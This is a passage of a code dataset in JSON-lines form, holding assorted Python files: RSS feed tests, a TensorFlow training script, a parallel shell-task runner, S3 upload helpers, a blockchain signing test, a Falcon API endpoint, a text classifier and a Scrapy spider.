items=6), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n feed = Feed.query().get()\n assert feed.language == None\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=6, use_lang='en-US'), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n\n feed = Feed.query().get()\n assert feed.language == 'en'\n\n def testAuthor(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=1), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n entry = Entry.query().get()\n assert None == entry.author\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test1', items=1, author='Alex Kessinger'), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n entry = Entry.query().fetch(2)[1]\n\n assert 'Alex Kessinger' == entry.author\n\n def testTags(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=1), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n entry = Entry.query().get()\n assert [] == entry.tags\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test1', items=1, tags=['example', 'feed']), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n entry = Entry.query().fetch(2)[1]\n\n assert ['example', 'feed'] == entry.tags\n\n def testTags(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=1), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n ), headers=self.authHeaders())\n\n entry = Entry.query().get()\n assert [] == entry.tags\n\n self.set_rss_response(test_feed_url, content=self.buildRSS('test1', items=1, tags=['example', 'feed']), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n entry = Entry.query().fetch(2)[1]\n\n assert ['example', 'feed'] == entry.tags\n\n def testIncludeSummary(self):\n self.setMockUser()\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=1), status_code=200)\n resp = self.app.get('/api/feed/preview?feed_url=%s' % (test_feed_url), headers=self.authHeaders())\n data = json.loads(resp.data)\n assert data['data'][0]['html'] == \"test_0 \"\n\n resp = self.app.get('/api/feed/preview?include_summary=1&feed_url=%s' % (test_feed_url), headers=self.authHeaders())\n data = json.loads(resp.data)\n assert data['data'][0]['html'] == \"test_0 test \"\n\n\n def testIncludeVideo(self):\n self.setMockUser()\n self.set_response('http://vimeo.com/api/oembed.json?url=http%3A%2F%2Fvimeo.com%2F7100569', content=VIMEO_OEMBED_RESPONSE)\n self.set_response('http://www.youtube.com/oembed?url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DPTHS7qjEDTs', content=YOUTUBE_OEMBED_RESPONSE)\n urls = [\n ('//www.youtube.com/v/PTHS7qjEDTs?version=3&hl=en_US&rel=0', 'http://i1.ytimg.com/vi/bDOYN-6gdRE/hqdefault.jpg'),\n ('//vimeo.com/7100569', 'http://b.vimeocdn.com/ts/294/128/29412830_1280.jpg')\n ]\n embed_types = [' ', '']\n test_feed_url = 'http://example.com/rss'\n for url, thumbnail_url in urls:\n for embed_type in embed_types:\n description = embed_type % url\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=1, description=description), status_code=200)\n resp = self.app.get('/api/feed/preview?include_video=1&feed_url=%s' % (test_feed_url), headers=self.authHeaders())\n data = json.loads(resp.data)\n assert data['data'][0]['thumbnail_image_url'] == thumbnail_url\n assert data['data'][0]['html'] == \"test_0 \"\n\n def testShortUrl(self):\n self.setMockUser()\n self.set_rss_response(\"https://api-ssl.bitly.com/v3/shorten?login=example&apiKey=R_123&longUrl=http%3A%2F%2Fexample.com%2Fbuster%2Ftest1_0%3Futm_medium%3DApp.net%26utm_source%3DPourOver\", content=BIT_LY_RESPONSE)\n test_feed_url = 'http://example.com/rss'\n self.set_rss_response(test_feed_url, content=self.buildRSS('test', items=1), status_code=200)\n resp = self.app.post('/api/feeds', data=dict(\n feed_url=test_feed_url,\n include_summary=True,\n max_stories_per_period=2,\n schedule_period=5,\n bitly_login='example',\n bitly_api_key='R_123',\n ), headers=self.authHeaders())\n\n entry = Entry.query().get()\n assert [] == entry.tags\n self.set_rss_response(test_feed_url, content=self.buildRSS('test1', items=1), status_code=200)\n resp = self.app.get('/api/feeds/all/update/1', headers={'X-Appengine-Cron': 'true'})\n entry = Entry.query().fetch(2)[1]\n\n assert entry.short_url == 'http://bit.ly/123'\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"buster/tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":27794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"75976185","text":"import tensorflow as tf\nimport numpy as np\nimport random\nimport time\nimport sys\nimport os\n\nfrom constants import *\nfrom data import *\n\n# ---------------------------------------------------------------------------------------------------------- #\n# Description: #\n# Parameters. #\n# ---------------------------------------------------------------------------------------------------------- #\n\n\n# ---------------------------------------------------------------------------------------------------------- #\n# Description: #\n# Load the training set, shuffle its images and then split them in training and validation subsets. #\n# After that, load the testing set. #\n# ---------------------------------------------------------------------------------------------------------- #\n\n\n# ---------------------------------------------------------------------------------------------------------- #\n# Description: #\n# Create a training graph that receives a batch of images and their respective labels and run a #\n# training iteration or an inference job. Train the last FC layer using fine_tuning_op or the entire #\n# network using full_backprop_op. A weight decay of 1e-4 is used for full_backprop_op only. #\n# ---------------------------------------------------------------------------------------------------------- #\ngraph = tf.Graph()\nwith graph.as_default():\n\tX = tf.placeholder(tf.float32, shape = (None, IMAGE_HEIGHT, IMAGE_WIDTH, NUM_CHANNELS))\n\ty = tf.placeholder(tf.int64, shape = (None,))\n\ty_one_hot = tf.one_hot(y, len(classes_train))\n\tlearning_rate = tf.placeholder(tf.float32)\n\tis_training = tf.placeholder(tf.bool)\n\n\tout = tf.layers.max_pooling2d(X, (2, 2), (2, 2), padding='same')\n\t\n\tout = tf.layers.conv2d(out, 32, (2, 2), (1, 1), padding='same', activation=tf.nn.relu)\n\n\tout = tf.layers.dropout(out, rate=0.4, training=is_training)\n\n\tout = tf.layers.conv2d(out, 16, (2, 2), (1, 1), padding='same', activation=tf.nn.relu)\n\n\tout = tf.layers.dropout(out, rate=0.4, training=is_training)\n\t\n\n\tout = tf.reshape(out, [-1, out.shape[1]*out.shape[2]*out.shape[3]])\n\n\tout = tf.layers.dropout(out, rate=0.4, training=is_training)\n\n\tout = tf.layers.dense(out, 128, activation=tf.nn.relu)\n\n\tout = tf.layers.dropout(out, rate=0.4, training=is_training)\n\n\t#out = tf.layers.dense(out, len(classes_train), activation=tf.nn.sigmoid)\n\tout = tf.layers.dense(out, len(classes_train))\n\n\t\n\t#loss = tf.reduce_mean(tf.reduce_sum((y_one_hot-out)**2))\n\tloss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=out, labels=y_one_hot))\n\n\n\ttrain_op = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(loss)\n\n\tprobs = tf.nn.softmax(out)\n\tresult = tf.argmax(probs, 1)\n\tcorrect = tf.reduce_sum(tf.cast(tf.equal(result, y), tf.float32))\n\n# ---------------------------------------------------------------------------------------------------------- #\n# Description: #\n# Run one training epoch using images in X_train and labels in y_train. #\n# ---------------------------------------------------------------------------------------------------------- #\ndef training_epoch(session, op, lr, epoch):\n\tbatch_list = np.random.permutation(len(X_train))\n\n\tstart = time.time()\n\ttrain_loss = 0\n\ttrain_acc = 0\n\n\tfor j in range(0, len(X_train), BATCH_SIZE):\n\t\tif j+BATCH_SIZE > len(X_train):\n\t\t\tbreak\n\t\tX_batch = X_train.take(batch_list[j:j+BATCH_SIZE], axis=0)\n\t\ty_batch = y_train.take(batch_list[j:j+BATCH_SIZE], axis=0)\n\n\t\tret = session.run([op, loss, correct], feed_dict = {X: argumentation(X_batch), y: y_batch, learning_rate: lr, is_training: True})\n\t\ttrain_loss += ret[1]*BATCH_SIZE\n\t\ttrain_acc += ret[2]\n\n\tpass_size = (len(X_train)-len(X_train)%BATCH_SIZE)\n\tprint('Epoch:'+str(epoch)+' Train: Time:'+str(time.time()-start)+' ACC:'+str(100*train_acc/pass_size)+' Loss:'+str(train_loss/pass_size)+' LR:'+str(lr))\n# ---------------------------------------------------------------------------------------------------------- #\n# Description: #\n# Evaluate images in Xv with labels in yv. #\n# ---------------------------------------------------------------------------------------------------------- #\ndef evaluation(session, Xv, yv, epoch):\n\tstart = time.time()\n\teval_loss = 0\n\teval_acc = 0\n\tfor j in range(0, len(Xv), BATCH_SIZE):\n\t\tret = session.run([loss, correct], feed_dict = {X: Xv[j:j+BATCH_SIZE], y: yv[j:j+BATCH_SIZE], is_training: False})\n\t\teval_loss += ret[0]*min(BATCH_SIZE, len(Xv)-j)\n\t\teval_acc += ret[1]\n\n\tprint('Epoch:'+str(epoch)+' Valid: Time:'+str(round(time.time()-start,5))+' ACC:'+str(round(100*eval_acc/len(Xv),9))+' Loss:'+str(round(eval_loss/len(Xv),9)))\n\n\treturn eval_acc/len(Xv), eval_loss/len(Xv)\n\n\n\n# ---------------------------------------------------------------------------------------------------------- #\n# Description: #\n# Training loop and execution.\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n# ---------------------------------------------------------------------------------------------------------- #\t\ndef train_model (model_version) :\n\tglobal X_train, y_train\n\tglobal X_val, y_val\n\tglobal X_ensem, y_ensem\n\n\tglobal LEARNING_RATES, LEARNING_RATE_DECAY\n\n\tX_train, y_train = shuffle(X_train, y_train)\n\tX_train, y_train, X_val, y_val = split(X_train, y_train, TRAIN_SPLIT_RATE)\n\n\tX_val = np.concatenate( (X_val, X_ensem), axis=0)\n\ty_val = np.concatenate( (y_val, y_ensem), axis=0)\n\n\tLEARNING_RATES_ARRAY = np.array(LEARNING_RATES)\n\n\tMODEL_PATH = MODEL_FOLDER + '/' + 'model' + model_version + '.ckpt'\n\tRESULT_PATH = MODEL_FOLDER + '/' + 'result' + model_version + '.txt'\n\t\n\twith tf.Session(graph = graph) as session:\n\t\tsession.run(tf.global_variables_initializer())\n\n\t\tbest_val_acc = -1.\n\t\tbest_val_loss = -1.\n\n\t\tsaver = tf.train.Saver( var_list=tf.trainable_variables() )\n\n\t\tepoch = 1\n\t\twhile epoch <= NUM_EPOCHS_LIMIT :\n\t\t\tupdated = False\n\t\t\tstep = 0.1\n\t\t\tfor LR in LEARNING_RATES_ARRAY :\n\t\t\t\tX_train, y_train = shuffle(X_train, y_train)\n\n\t\t\t\ttraining_epoch(session, train_op, LR, epoch + step)\n\t\t\t\tval_acc, val_loss = evaluation(session, X_val, y_val, epoch + step)\n\n\t\t\t\tbetter = (best_val_acc <= val_acc and best_val_loss >= val_loss)\n\t\t\t\tbetter = better or (best_val_acc < 0. and best_val_loss < 0.)\n\n\t\t\t\tif better :\n\t\t\t\t\tupdated = True\n\t\t\t\t\tbest_val_acc = val_acc\n\t\t\t\t\tbest_val_loss = val_loss\n\t\t\t\t\tsaver.save(session, MODEL_PATH)\n\t\t\t\t\tprint('ACC:'+str(best_val_acc)+' Loss:'+str(best_val_loss))\n\t\t\t\tstep += 0.1\n\n\t\t\tLEARNING_RATES_ARRAY *= LEARNING_RATE_DECAY \n\t\t\t\n\t\t\tif updated :\n\t\t\t\tepoch = 1\n\t\t\t\tprint('\\n')\n\t\t\telse :\n\t\t\t\tprint('------------')\n\t\t\t\tepoch += 1\n\n\t\t\t\n\n\t\tsaver.restore(session, MODEL_PATH)\n\n\t\tprint('ACC:'+str(100*best_val_acc)+' Loss:'+str(best_val_loss))\n\t\t\n\t\t\n\t\tT, name = load_test_dataset()\n\t\tT = T/255.\n\n\t\tfile = open(RESULT_PATH, \"w\")\n\t\tfile.write(str(100*best_val_acc) + ' ' + str(best_val_loss) + '\\n\\n')\n\t\tfor t in range( len(T) ) : \n\t\t\tret = session.run([result], feed_dict = { X: np.expand_dims(T[t], axis=0), is_training: False})\n\t\t\tfile.write(name[t] + ' ' + classes_train[ int(ret[0]) ] + '\\n')\n\t\tfile.close()\n","sub_path":"code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"557377472","text":"#!/usr/bin/env python3\n'''\n _ __\n__ _____ _ __| | __/ _| ___ _ __ ___ ___\n\\ \\ /\\ / / _ \\| '__| |/ / |_ / _ \\| '__/ __/ _ \\\n \\ V V / (_) | | | <| _| (_) | | | (_| __/\n \\_/\\_/ \\___/|_| |_|\\_\\_| \\___/|_| \\___\\___|\n\n\n'''\nfrom multiprocessing import Process\nfrom pathlib import Path\nfrom time import time\nimport argparse\nimport csv\nimport logging\nimport os\nimport subprocess\n\nclass worker:\n ''' A method for running bash processes in parallel according to a csv file plan '''\n def __init__(self, plan_file):\n # Setup logging\n self.init_time = str(time())\n logging.basicConfig(filename=str(Path.home())+\"/workforce/log.csv\", filemode=\"a\", format=\"%(created).6f,\"+self.init_time+\",\"+str(os.getpid())+\",%(processName)s,%(message)s\", level=logging.INFO)\n logging.info(\"start %s\", plan_file)\n\n # Load plan\n logging.info(\"loading plan\")\n self.plan_file = plan_file\n self.plan = list(csv.reader(open(self.plan_file), skipinitialspace=True))\n logging.info(\"plan loaded\")\n\n def run(self):\n # Run loaded plan beginning from the first row\n def begin():\n def task(curr):\n logging.info(\"running %s\", curr)\n subprocess.call(curr, shell=True)\n for i in [k[1] for k in self.plan if k[0] == curr]:\n Process(target=task, args=[i]).start()\n logging.info(\"running %s\", self.plan[0][0])\n subprocess.call(self.plan[0][0], shell=True)\n task(self.plan[0][1])\n logging.info(\"begin work\")\n begin()\n logging.info(\"work complete\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"plan\", nargs=argparse.REMAINDER)\n args = parser.parse_args()\n\n if args.plan:\n current_worker = worker(args.plan[0])\n current_worker.run()\n","sub_path":"workforce.py","file_name":"workforce.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"35422799","text":"import boto3 as bt\r\nimport simplejson as JSON\r\nimport os, sys\r\n\r\n\r\nclass S3():\r\n def get_bucketList(self, client):\r\n BUCKETLIST = client.list_buckets()\r\n return BUCKETLIST\r\n\r\n def selection_bucket(self, BUCKETLIST, argv):\r\n #argv String = 'bucket name'\r\n for bucket in BUCKETLIST['Buckets']:\r\n if bucket['Name'] == argv:\r\n return bucket['Name']\r\n\r\n\r\n def upload_bucket_all_img(self, client, bucket):\r\n for img in os.listdir('/var/www/html/cropy/'):\r\n if img.rfind('.jpg') > 0:\r\n path = '/var/www/html/cropy/'\r\n \r\n try:\r\n client.upload_file(path + \"/\" + img, bucket, img)\r\n except Exception as e:\r\n print(\"image upload error\\n\", e)\r\n return 0\r\n\r\n return 1\r\n\r\n def upload_bucket_all_jsonZip(self, client, bucket):\r\n for jsonZip in os.listdir('.'):\r\n if jsonZip.rfind('.zip') > 0:\r\n\r\n path = os.getcwd()\r\n expressedJson = path + \"/\" + jsonZip \r\n try:\r\n client.upload_file(expressedJson, bucket, jsonZip)\r\n except Exception as e:\r\n print(\"expressed json upload error\\n\", e)\r\n return 0\r\n\r\n return 1\r\n\r\n\r\n \r\n \r\n","sub_path":"KookminAnnotoriousOpenPlatform/cropy/boto_upload_S3.py","file_name":"boto_upload_S3.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"500435080","text":"from collections import deque\n\nn, q = map(int, input().split())\nQueue = deque([])\nfor i in range(n):\n name, time = input().split()\n Queue.append([name, int(time)])\n\nt = 0\nwhile len(Queue) != 0:\n process = Queue.popleft()\n process[1] = process[1] - q\n if process[1] <= 0:\n t += q + process[1]\n print(process[0]+\" \"+str(t))\n else:\n t += q\n Queue.append(process)\n","sub_path":"algorism-practice/chapter4-3.py","file_name":"chapter4-3.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"130017682","text":"import json\nimport falcon\nimport logging\nfrom pprint import pformat\n\nfrom .resolve import get_params\n\n\nclass Replay(object):\n \"\"\" Replay message for the dataproxy\n \"\"\"\n def on_get(self, req, resp):\n from .. import implementations, Config\n\n params = get_params(req,\n \"restrict_witness_group\",\n \"provider\",\n \"received\",\n \"name_filter\",\n \"only_report\",\n \"token\",\n \"manufacture\",\n \"target\")\n logging.getLogger(__name__).info(\"GET replay received (\" + req.remote_addr + \", \" + req.url + \")\")\n\n try:\n if params.get(\"token\") is None or not params.get(\"token\") == Config.get(\"remote_control\", \"token\"):\n resp.status = falcon.HTTP_404\n return\n except KeyError:\n resp.status = falcon.HTTP_404\n return\n\n params.pop(\"token\")\n\n if any(params.values()):\n params[\"providers\"] = params.pop(\"provider\")\n params[\"incidents\"] = params.pop(\"manufacture\")\n report = implementations.replay(**params, async_execution=True)\n logging.getLogger(__name__).debug(\"GET replay done, report below\\n\" + pformat(report))\n resp.body = json.dumps(report)\n resp.content_type = falcon.MEDIA_JSON\n else:\n params[\"restrict_witness_group\"] = \"Deprecated, use target\"\n params[\"target\"] = \"This can be a witness name, or witness group. Then replay is only sent to matched witnesses\"\n params[\"provider\"] = \"Replay only using incidents from this provider, default from all providers\"\n params[\"received\"] = \"Replay only incidents that were received matching this regex (e.g. 201805 to replay all received in May 2018). If not given it tries to guess the desired range according to the name_filter, if no guess poissble search complete database\"\n params[\"name_filter\"] = \"Replay only incidents whose id matches this string or match all in comma seperated list (e.g. 'soccer', or '2018-05-31', or 'world cup', or '2018-05-31,soccer,create'), mandatory.\"\n params[\"only_report\"] = \"Only generate a report of what would happen, default false\"\n params[\"manufacture\"] = \"Unique string of an incident to be manufactured, format is specified in bos-incidents/format/incident_to_string\"\n resp.body = json.dumps(\n {\n \"description\": \"Searches in the internal storage of the dataproxy for incidents that match the given parameters and replays them to the chosen witnesses\",\n \"possible_arguments\": params\n }\n )\n\n resp.status = falcon.HTTP_200\n","sub_path":"dataproxy/routes/replay.py","file_name":"replay.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"454151217","text":"import os\nfrom Dados import *\n\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import GaussianNB\n\nfrom sklearn.tree import _tree\nfrom sklearn import preprocessing, tree\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import cross_val_score\n\n# Instanciando arquivos para listas\nscript_dir = os.path.dirname(__file__) # Diretório absoluto\nrel_path1 = \"../frases/peace.txt\" # Diretório relativo\nrel_path2 = \"../frases/silence.txt\" # Diretório relativo\nrel_path3 = \"../frases/success.txt\" # Diretório relativo\nabs_file_path1 = os.path.join(script_dir, rel_path1) # Diretório final\nabs_file_path2 = os.path.join(script_dir, rel_path2) # Diretório final\nabs_file_path3 = os.path.join(script_dir, rel_path3) # Diretório final\n\n# instanciando Listas de dados\ntreinoFrase = []\ntreinoClass = []\n\ntesteFrase = []\ntesteClass = []\n\n# instanciando classe de dados\ndados = Dados()\ndados.importarDados(abs_file_path1, abs_file_path2, abs_file_path1, \"Peace\", \"Silence\", \"Success\")\n\n# pegando os dados e separando nas listas instanciadas acima\nfor k in range(len(dados.treino)):\n treinoFrase.append(dados.treino[k][0])\n treinoClass.append(dados.treino[k][1])\n\nfor k in range(len(dados.teste)):\n testeFrase.append(dados.teste[k][0])\n testeClass.append(dados.teste[k][1])\n\nx = CountVectorizer()\n\n# transforma treinoFrase em uma matriz de numeros por palavra\ntreinoFrase = x.fit_transform(treinoFrase).toarray()\n\n# cria a bagOfWords\nbagOfWords = x.vocabulary_\n\ny_vect = CountVectorizer(vocabulary=bagOfWords) # adiciona a bagOfWords a nova variavel\nbagOfWords = y_vect.fit_transform(testeFrase).toarray() # coloca todas as frases na nova bagOfWords\n\n#Cria o Naive\ngnb = GaussianNB()\nnb = gnb.fit(treinoFrase, treinoClass)\n#Cria a Arvore\narvore = tree.DecisionTreeClassifier()\narvore.fit(treinoFrase, treinoClass)\nprint(\"\\n##################################################################################\")\nprint(\"################################### LISTA 1 ######################################\");\nprint(\"##################################################################################\\n\\n\")\n\nfrase = [str(input(\"Digite a frase: \"))] #recebe a frase e coloca em um vetor\nfraseMatriz = x.transform(frase).toarray() #transforma a frase em vertor\n\nif (nb.score(bagOfWords, testeClass) > arvore.score(bagOfWords, testeClass)):\n print(\"A melhor classificação é: \",str(gnb.predict(fraseMatriz)[0]))\n classificacao = str(gnb.predict(fraseMatriz)[0])\nelse:\n print(\"A melhor classificação é: \",str(arvore.predict(fraseMatriz)[0]))\n classificacao = str(arvore.predict(fraseMatriz)[0])\n\nclasses = list(gnb.classes_)\naPosteriori = gnb.class_prior_\n\nprint(\"A probabilidade a posteriori foi de:\", str(aPosteriori[classes.index(classificacao)]*100) + \"%\")\nprint(\"\\n\\n A regra de decisão foi:\\n\",str(arvore.decision_path(fraseMatriz)))\nprint(\"\\nVocê pode ver a árvore de decisão completa na pasta raiz\")\nprint(\"\\n##################################################################################\")\n\nnumero = int(input(\"\\nDigite 1 para ver a base de teste : \"))\nif (numero == 1):\n for k in range(len(testeFrase)):\n fraseMatriz = x.transform([testeFrase[k]]).toarray() #transforma a frase em vertor\n print(\"\\n##################################################################################\")\n if (nb.score(bagOfWords, testeClass) > arvore.score(bagOfWords, testeClass)):\n print(\"\\n\\nA melhor classificação é: \",str(gnb.predict(fraseMatriz)[0]))\n classificacao = str(gnb.predict(fraseMatriz)[0])\n else:\n print(\"\\n\\nA melhor classificação é: \",str(arvore.predict(fraseMatriz)[0]))\n classificacao = str(arvore.predict(fraseMatriz)[0])\n\n classes = list(gnb.classes_)\n aPosteriori = gnb.class_prior_\n\n print(\"\\nA probailidade a prosteriori foi de :\", str(aPosteriori[classes.index(classificacao)]*100) + \"%\")\n print(\"\\n A regra de decisão foi:\\n\",str(arvore.decision_path(fraseMatriz)))\n print(\"\\n##################################################################################\")\n","sub_path":"Lista de Exercícios 01/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"153967820","text":"import pytest\nfrom chainlibpy import Transaction, Wallet\nfrom pystarport import ports\nfrom pystarport.proto_python.api_util import ApiUtil\n\nfrom .utils import wait_for_new_blocks\n\npytestmark = pytest.mark.normal\n\n\n@pytest.mark.skip(reason=\"/txs API removed in 0.44\")\ndef test_sign_offline(cluster):\n \"\"\"\n check simple transfer tx success\n - send 1cro from community to reserve\n \"\"\"\n # 1. first create two hd new wallet\n seed = \"dune car envelope chuckle elbow slight proud fury remove candy uphold \\\n puzzle call select sibling sport gadget please want vault glance verb damage gown\"\n wallet_1 = Wallet(seed)\n address_1 = wallet_1.address\n wallet_2 = Wallet.new()\n address_2 = wallet_2.address\n\n sender_addr = cluster.address(\"signer1\")\n\n sender_balance = cluster.balance(sender_addr)\n assert sender_balance > 100 * 10 ** 8\n balance_1 = cluster.balance(wallet_1.address)\n assert balance_1 == 0\n balance_2 = cluster.balance(wallet_2.address)\n assert balance_2 == 0\n\n # 2. transfer some coin to wallet_1\n cluster.transfer(sender_addr, address_1, \"100cro\")\n wait_for_new_blocks(cluster, 2)\n\n assert cluster.balance(sender_addr) == sender_balance - 100 * 10 ** 8\n assert cluster.balance(address_1) == 100 * 10 ** 8\n\n # 3. get the send's account info\n port = ports.api_port(cluster.base_port(0))\n api = ApiUtil(port)\n\n amount = 1 * 10 ** 8\n # make transaction without/with fee\n for fee in [0, 600000]:\n sender_account_info = api.account_info(address_1)\n balance_1_before = api.balance(address_1)\n balance_2_before = api.balance(address_2)\n tx = Transaction(\n wallet=wallet_1,\n account_num=sender_account_info[\"account_num\"],\n sequence=sender_account_info[\"sequence\"],\n chain_id=cluster.chain_id,\n fee=fee,\n )\n tx.add_transfer(to_address=address_2, amount=amount, base_denom=\"basecro\")\n signed_tx = tx.get_pushable()\n assert isinstance(signed_tx, dict)\n api.broadcast_tx(signed_tx)\n wait_for_new_blocks(cluster, 3)\n balance_1_after = api.balance(address_1)\n balance_2_after = api.balance(address_2)\n assert balance_2_after == balance_2_before + amount\n assert balance_1_after == balance_1_before - amount - fee\n","sub_path":"integration_tests/test_sign_offline.py","file_name":"test_sign_offline.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"436548363","text":"#!/usr/bin/pypy3\n\nfrom advent import Advent\nfrom collections import defaultdict\n\n\"\"\"\n\"\"\"\n\nclass Day(Advent):\n lines = False\n\n def prepare(self):\n self.data = [int(x) for x in self.data.split(',')]\n\n def solve1(self):\n result = len(self.data) ** 2\n for i in range(0, max(self.data) + 1):\n fuel = sum(map(lambda x: abs(x - i), self.data))\n result = min(result, fuel)\n return result\n\n def solve2(self):\n # precalculate the fuel costs for steps\n # lookup = [0, ]\n # for i in range(0, max(self.data) + 1):\n # lookup.append(lookup[-1] + i + 1)\n # math ;)\n lookup = [int(i * (i + 1) /2) for i in range(max(self.data) + 1)]\n result = lookup[-1] ** 2\n for i in range(0, max(self.data) + 1):\n fuel = sum(map(lambda x: lookup[abs(x - i)], self.data))\n result = min(result, fuel)\n return result\n\n\nDay.main()\n","sub_path":"2021/07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"179925196","text":"import connexion\nimport six\n\nfrom swagger_server.models.order_message import OrderMessage # noqa: E501\nfrom swagger_server.models.user import User # noqa: E501\nfrom swagger_server import util, mongo_controls\n\n\ndef delete(username): # noqa: E501\n \"\"\"Delete user's order history\n\n # noqa: E501\n\n :param username: Username\n :type username: str\n\n :rtype: None\n \"\"\"\n ret = mongo_controls.get_db().users.find_one({\n 'username': username\n })\n\n if ret is None:\n return \"Invalid username\", 400\n\n mongo_controls.get_db().users.update_one(\n {\n 'username': username\n },\n {\n \"$set\": {\n \"orders\": []\n }\n }\n )\n\n return \"Success\"\n\n\ndef load(username): # noqa: E501\n \"\"\"Load user data\n\n Load your data with this endpoint. # noqa: E501\n\n :param username: Username\n :type username: str\n\n :rtype: User\n \"\"\"\n ret = mongo_controls.get_db().users.find_one({\n 'username': username\n })\n\n if ret is not None:\n return User(ret['username'], ret['orders'])\n else:\n return \"Invalid username\", 400\n\n\ndef save(orderMessage): # noqa: E501\n \"\"\"Save order data\n\n Save an order data entry with this endpoint. # noqa: E501\n\n :param orderMessage: Order information\n :type orderMessage: dict | bytes\n\n :rtype: None\n \"\"\"\n if connexion.request.is_json:\n orderMessage = OrderMessage.from_dict(connexion.request.get_json()) # noqa: E501\n\n ret = mongo_controls.get_db().users.find_one({\n 'username': orderMessage.username\n })\n\n if ret is None:\n return \"Invalid username\", 400\n\n mongo_controls.get_db().users.update_one(\n {\n 'username': orderMessage.username\n },\n {\n '$push': {\n 'orders': orderMessage.order\n }\n }\n )\n\n return \"Success\"\n","sub_path":"api-server/swagger_server/controllers/private_controller.py","file_name":"private_controller.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"349369849","text":"#encoding=utf8\n'''\nCreated on 2017.9.13\n\n@author: huke\n'''\n\nimport scrapy\n\nclass HeartsongSpider(scrapy.spiders.Spider):\n name = \"heartsong\" # 爬虫的名字,执行时使用\n# allowed_domains = [\"192.168.119.152\"] # 允许爬取的域名,非此域名的网页不会爬取\n start_urls = [\n \"http://192.168.119.152/bbs/forum.php\" # 起始url,此例只爬这一个页面 \n ]\n\n def parse(self, response): # 真正的爬虫方法\n html = response.body # response是获取到的来自网站的返回\n # 以下四行将html存入文件\n filename = \"index.html\"\n file = open(filename, \"w\",encoding='utf8') \n file.write(html.decode('utf8')) #TypeError: must be str, not bytes 的时候加decode\n file.close()","sub_path":"scrapy/heartsong/heartsong/spiders/heartsong_spider.py","file_name":"heartsong_spider.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
